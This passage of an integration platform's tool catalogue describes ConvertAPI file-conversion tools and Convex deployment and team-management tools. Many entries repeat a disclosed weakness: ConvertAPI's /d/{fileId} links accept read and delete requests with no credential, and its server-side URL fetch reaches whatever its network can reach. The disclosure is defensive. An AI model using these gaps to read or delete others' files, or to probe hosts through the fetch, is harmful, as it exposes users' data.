(DPI), width, height, and background transparency. Supports password-protected workbooks and includes options for page scaling and column fitting. Ideal for generating spreadsheet thumbnails, web previews, and automated document snapshots with transparent backgrounds. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/png. Scopes: api. convertapi_post_convert_xlsx_to_protect (write) — Protect Excel API via POST /convert/xlsx/to/protect. Protect Excel XLSX workbooks with robust password-based encryption to keep sensitive data secure at rest and during transfer. Apply strong AES-256 encryption with a user-defined password to prevent unauthorized access while preserving workbook structure and content. Use this API to enforce policy requirements in automated pipelines, prepare documents for external sharing, and meet archival or regulatory obligations. Ideal for organizations standardizing protection of finance, HR, and export files without manual steps in desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/protect. Scopes: api. convertapi_post_convert_xlsx_to_tiff (write) — Excel to TIFF Conversion API via POST /convert/xlsx/to/tiff. Convert Microsoft Excel spreadsheets (XLS/XLSX) to high-fidelity TIFF images for records management, print workflows, and archival. Select specific worksheets by name, index, or export the active sheet. Control image resolution (DPI), width, height, and compression settings. Supports password-protected workbooks and includes options for page scaling and column fitting. Ideal for generating print-ready spreadsheet images, document archival, and automated records management with consistent output quality. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/tiff. Scopes: api. convertapi_post_convert_xlsx_to_webp (write) — Excel to WebP Conversion API via POST /convert/xlsx/to/webp. Convert Microsoft Excel spreadsheets (XLS/XLSX) to efficient WebP images for modern web applications and storage optimization. Select specific worksheets by name, index, or export the active sheet. Control image resolution (DPI), width, height, and choose between lossless or lossy compression. Supports password-protected workbooks and includes options for page scaling and column fitting. WebP format offers superior compression compared to traditional formats. Ideal for web-optimized spreadsheet previews, bandwidth-conscious applications, and automated thumbnail generation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/webp. Scopes: api. convertapi_post_convert_xlsx_to_xlsx (write) — XLSX to XLSX Conversion API via POST /convert/xlsx/to/xlsx. Process Excel XLSX workbooks to improve file integrity and ensure compatibility. Open password-protected files and normalize the spreadsheet structure for consistent handling across different Excel versions and applications. Ideal for file repair, format standardization, batch processing, removing corruption, and preparing spreadsheets for automated workflows and archival. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xlsx/to/xlsx. Scopes: api. convertapi_post_convert_xltx_to_pdf (write) — XLTX to PDF API via POST /convert/xltx/to/pdf. Convert Excel XLTX templates to polished PDF documents for distribution and archiving. Select the worksheet by name, index, or the active sheet, and open password-protected inputs if necessary. Control page orientation and page size, auto-fit by columns or pages, clear print areas, and apply custom scaling to meet layout constraints. Add a header on each page and optionally preserve metadata. Normalize locale with thousands/decimal separators and date formats for consistent presentation across regions. Enable PDF/A for long-term preservation and process single files or batches to achieve predictable, repeatable results. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xltx/to/pdf. Scopes: api. convertapi_post_convert_xml_to_docx (write) — XML to DOCX Conversion API via POST /convert/xml/to/docx. Convert XML content into an editable Microsoft Word (DOCX) document while preserving structured elements such as paragraphs, tables, and headings. Use options to update the table of contents and refresh cross-references so generated documents are consistent and ready for review. Ideal for transforming exported XML data, generated reports, and templates into word-processor-friendly files for collaboration and downstream workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/xml/to/docx. Scopes: api. convertapi_post_convert_zip_to_extract (write) — Unzip API via POST /convert/zip/to/extract. Extract the contents of ZIP archives programmatically with simple API calls. Provide an input archive, optional password, and control how files are written to the output, including naming and structure. Ideal for automated pipelines that receive packaged data and need safe, reliable unpacking without desktop software. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/zip/to/extract. Scopes: api. convertapi_post_convert_zugferd_to_peppol (write) — ZUGFeRD to Peppol API via POST /convert/zugferd/to/peppol. ZUGFeRD to Peppol API converts ZUGFeRD 2.x electronic invoices into Peppol BIS Billing 3.0 UBL XML, ready to send over the Peppol network. Submit either the raw Cross Industry Invoice (CII) XML or a ZUGFeRD PDF/A-3 file - when a PDF/A-3 is provided, the embedded invoice XML is extracted automatically before conversion. Every field of the EN 16931 semantic model is mapped, including invoice header, seller and buyer parties, delivery, payment means and terms, document- and line-level allowances and charges, VAT breakdown, monetary totals, and all invoice lines. Credit notes (type code 381) are emitted as a UBL CreditNote. Automate compliant electronic invoicing directly from your accounting... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/zugferd/to/peppol. Scopes: api. convertapi_post_upload (write) — Fetch a file from a URL and store it on ConvertAPI's file server via POST /upload, returning the FileId and Url that every conversion tool accepts as its input. USE THIS TO CONVERT ONE FILE SEVERAL TIMES without re-fetching it. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. This tool takes no file bytes: only a URL ConvertAPI fetches itself, which is why it can exist at all when uploading a file through a tool call cannot. Two of ConvertAPI's own parameters are deliberately NOT offered here: `headername`/`headervalue`, which would set an arbitrary request header on that fetch (a caller-chosen Authorization header IS forwarded -- measured), and `fileId`, which would let a caller choose the stored file's id on a file server that checks no credential. POST /api/v1/convertapi/upload. Scopes: api. ================================================================================ ## Convex URL: https://www.agenticfabriq.com/integrations/convex Section: Integrated Tools Convex — 41 MCP tools Provider key: convex. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. convex_get_deployments_by_deployment_name (read) — Get deployment via GET /deployments/{deployment_name}. Get details about a cloud deployment. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/deployments/{deployment_name}. Scopes: api. convex_get_deployments_by_deployment_name_custom_domains (read) — List custom domains via GET /deployments/{deployment_name}/custom_domains. Get all custom domains configured for a deployment. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/deployments/{deployment_name}/custom_domains. Scopes: api. convex_get_deployments_by_deployment_name_list_deploy_keys (read) — List deploy keys via GET /deployments/{deployment_name}/list_deploy_keys. Lists all deploy keys for the specified deployment. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/deployments/{deployment_name}/list_deploy_keys. Scopes: api. convex_get_list_personal_access_tokens (read) — List personal access tokens via GET /list_personal_access_tokens. Lists all personal access tokens for the authenticated user. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/list_personal_access_tokens. Scopes: api. convex_get_projects_by_project_id (read) — Get project by ID via GET /projects/{project_id}. Get a project by its ID. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/projects/{project_id}. Scopes: api. convex_get_projects_by_project_id_deployment (read) — Get deployment in project by id via GET /projects/{project_id}/deployment. Get a deployment within a project by reference, default production deployment, or default dev deployment for the calling user. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/projects/{project_id}/deployment. Scopes: api. convex_get_projects_by_project_id_list_default_environment_variables (read) — List default environment variables via GET /projects/{project_id}/list_default_environment_variables. Lists all default environment variables for the specified project, with optional filtering by name and deployment type. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/projects/{project_id}/list_default_environment_variables. Scopes: api. convex_get_projects_by_project_id_list_deployments (read) — List deployments via GET /projects/{project_id}/list_deployments. List deployments for a projects. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/projects/{project_id}/list_deployments. Scopes: api. convex_get_projects_by_project_id_list_preview_deploy_keys (read) — List preview deploy keys via GET /projects/{project_id}/list_preview_deploy_keys. Lists all preview deploy keys for the specified project. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/projects/{project_id}/list_preview_deploy_keys. Scopes: api. convex_get_teams_by_team_id_list_access_tokens (read) — List team access tokens via GET /teams/{team_id}/list_access_tokens. Lists the team access tokens created by the authenticated member for the given team. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_access_tokens. Scopes: api. convex_get_teams_by_team_id_list_audit_log_events (read) — List audit log events via GET /teams/{team_id}/list_audit_log_events. List a team's audit log events within a time range, with optional filters. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT, Team Token for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_audit_log_events. Scopes: api. convex_get_teams_by_team_id_list_custom_roles (read) — List custom roles via GET /teams/{team_id}/list_custom_roles. Lists all custom roles for the team with cursor-based pagination. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT, Team Token for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_custom_roles. Scopes: api. convex_get_teams_by_team_id_list_deployment_classes (read) — List deployment classes via GET /teams/{team_id}/list_deployment_classes. Lists the available deployment classes for a team. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_deployment_classes. Scopes: api. convex_get_teams_by_team_id_list_deployment_regions (read) — List deployment regions via GET /teams/{team_id}/list_deployment_regions. Lists the available deployment regions for a team. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_deployment_regions. Scopes: api. convex_get_teams_by_team_id_list_deployments (read) — List deployments for team via GET /teams/{team_id}/list_deployments. Lists deployments for a team with pagination, sorting, and filtering. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_deployments. Scopes: api. convex_get_teams_by_team_id_list_local_deployments (read) — List local deployments via GET /teams/{team_id}/list_local_deployments. Lists the local deployments for a team. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_local_deployments. Scopes: api. convex_get_teams_by_team_id_list_members (read) — List team members via GET /teams/{team_id}/list_members. List the members of the given team. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_members. Scopes: api. convex_get_teams_by_team_id_list_pending_invites (read) — List pending team invitations via GET /teams/{team_id}/list_pending_invites. List the pending invitations for the given team. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/list_pending_invites. Scopes: api. convex_get_teams_by_team_id_or_slug_projects_by_project_slug (read) — Get project by slug via GET /teams/{team_id_or_slug}/projects/{project_slug}. Get a project by its slug. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id_or_slug}/projects/{project_slug}. Scopes: api. convex_get_teams_by_team_id_or_slug_projects_by_project_slug_deployment (read) — Get deployment in project by slug via GET /teams/{team_id_or_slug}/projects/{project_slug}/deployment. Get a deployment within a project identified by team and project slug, by reference, default production deployment, or default dev deployment for the calling user. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id_or_slug}/projects/{project_slug}/deployment. Scopes: api. convex_get_teams_by_team_id_projects (read) — List projects via GET /teams/{team_id}/projects. List a page of projects for a team, ordered by descending project ID. Pass `limit` to set the page size and the `nextCursor` from the previous response as `cursor` to fetch the next page. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/teams/{team_id}/projects. Scopes: api. convex_get_token_details (read) — Get token details via GET /token_details. Returns the team ID for team tokens. Especially useful after receiving a team token from an OAuth flow since most endpoints require team ID. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. GET /api/v1/convex/token_details. Scopes: api. convex_patch_deployments_by_deployment_name (write) — Update deployment via PATCH /deployments/{deployment_name}. Updates properties of an existing deployment. Only the fields provided in the request body are modified; omitted fields are left unchanged. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. PATCH /api/v1/convex/deployments/{deployment_name}. Scopes: api. convex_patch_projects_by_project_id (write) — Update project via PATCH /projects/{project_id}. Update a project's name and/or slug. Returns the updated project. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. PATCH /api/v1/convex/projects/{project_id}. Scopes: api. convex_post_deployments_by_deployment_name_create_custom_domain (write) — Create custom domain via POST /deployments/{deployment_name}/create_custom_domain. Attach a custom domain to a deployment. The request body names the domain; Convex then serves the deployment from it once DNS points at Convex. The sealed OpenAPI document carries no description for this operation, so this sentence is written from its own request schema. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/deployments/{deployment_name}/create_custom_domain. Scopes: api. convex_post_deployments_by_deployment_name_delete (write, destructive) — Delete deployment via POST /deployments/{deployment_name}/delete. Delete a deployment. This will delete all data and files in the deployment, so we recommend creating and downloading a backup before calling this endpoint. This does not delete the project itself. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/deployments/{deployment_name}/delete. Scopes: api. convex_post_deployments_by_deployment_name_delete_custom_domain (write, destructive) — Delete custom domain via POST /deployments/{deployment_name}/delete_custom_domain. Remove a custom domain from a deployment. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/deployments/{deployment_name}/delete_custom_domain. Scopes: api. convex_post_deployments_by_deployment_name_delete_deploy_key (write, destructive) — Delete deploy key via POST /deployments/{deployment_name}/delete_deploy_key. Deletes a deploy key for the specified deployment. The `id` in the request body can be the full deploy key (with prefix), encoded token, or the name of the deploy key. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/deployments/{deployment_name}/delete_deploy_key. Scopes: api. convex_post_deployments_by_deployment_name_transfer (write) — Transfer deployment via POST /deployments/{deployment_name}/transfer. Transfer a deployment from its current project to another project within the same team. For production deployments, the caller must be a project admin on both the source and destination projects. For other deployment types, any team member can transfer deployments they created, or project admins can transfer any deployment. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/deployments/{deployment_name}/transfer. Scopes: api. convex_post_projects_by_project_id_create_deployment (write) — Create deployment via POST /projects/{project_id}/create_deployment. Create a new deployment for a project. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/projects/{project_id}/create_deployment. Scopes: api. convex_post_projects_by_project_id_delete (write, destructive) — Delete project via POST /projects/{project_id}/delete. Delete a project. Deletes all deployments in the project as well. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/projects/{project_id}/delete. Scopes: api. convex_post_projects_by_project_id_delete_preview_deploy_key (write, destructive) — Delete preview deploy key via POST /projects/{project_id}/delete_preview_deploy_key. Deletes a preview deploy key for the specified project. The `id` in the request body can be the full preview deploy key (with prefix), encoded token, or the name of the preview deploy key. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/projects/{project_id}/delete_preview_deploy_key. Scopes: api. convex_post_projects_by_project_id_update_default_environment_variables (write, destructive) — Update default environment variables via POST /projects/{project_id}/update_default_environment_variables. Creates, updates, or deletes default environment variables for the specified project. When `value` is a string, the variable is upserted. When `value` is null, the variable is deleted. Callable on any Convex connection: a personal access token, or an OAuth application token of either scope. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/projects/{project_id}/update_default_environment_variables. Scopes: api. convex_post_teams_by_team_id_cancel_team_member_invite (write, destructive) — Cancel a pending team invitation via POST /teams/{team_id}/cancel_team_member_invite. Cancel a pending invitation to join the team, addressed by the invited email address. The person is not removed -- they were never a member; the outstanding invite stops working. The sealed OpenAPI document carries no description for this operation, so this sentence is written from its own request schema. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/cancel_team_member_invite. Scopes: api. convex_post_teams_by_team_id_create_custom_role (write) — Create a custom role via POST /teams/{team_id}/create_custom_role. Creates a new custom role for the team with the specified name, description, and permission statements. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT, Team Token for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/create_custom_role. Scopes: api. convex_post_teams_by_team_id_create_project (write) — Create project via POST /teams/{team_id}/create_project. Create a new project on a team, optionally provisioning a dev or prod deployment. NOT callable on a PROJECT-scoped OAuth connection. Convex's own API contract lists OAuth Team Token, PAT, Team Token for this operation; a personal access token or a team-scoped OAuth token reaches it, and a project-scoped one is refused by name rather than sent. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/create_project. Scopes: api. convex_post_teams_by_team_id_delete_custom_role (write, destructive) — Delete a custom role via POST /teams/{team_id}/delete_custom_role. Deletes a custom role from the team. Fails with `CustomRoleInUse` if the role is still attached to any team members; reassign those members (e.g. via `update_team_member_role`) before retrying. PERSONAL ACCESS TOKEN ONLY. Convex's own API contract lists PAT, Team Token for this operation, so no OAuth application token of either scope can call it; on an OAuth connection this tool refuses by name rather than sending a request Convex would reject. DESTRUCTIVE: this removes something and Convex does not undo it. Convex publishes no rate-limit figure for this API and none has been measured, so treat a 429 as a budget rather than a credential problem. POST /api/v1/convex/teams/{team_id}/delete_custom_role. Scopes: api. convex_post_teams_by_team_id_invite_team_member (write) — Invite a team member via POST /teams/{team_id}/invite_team_member. 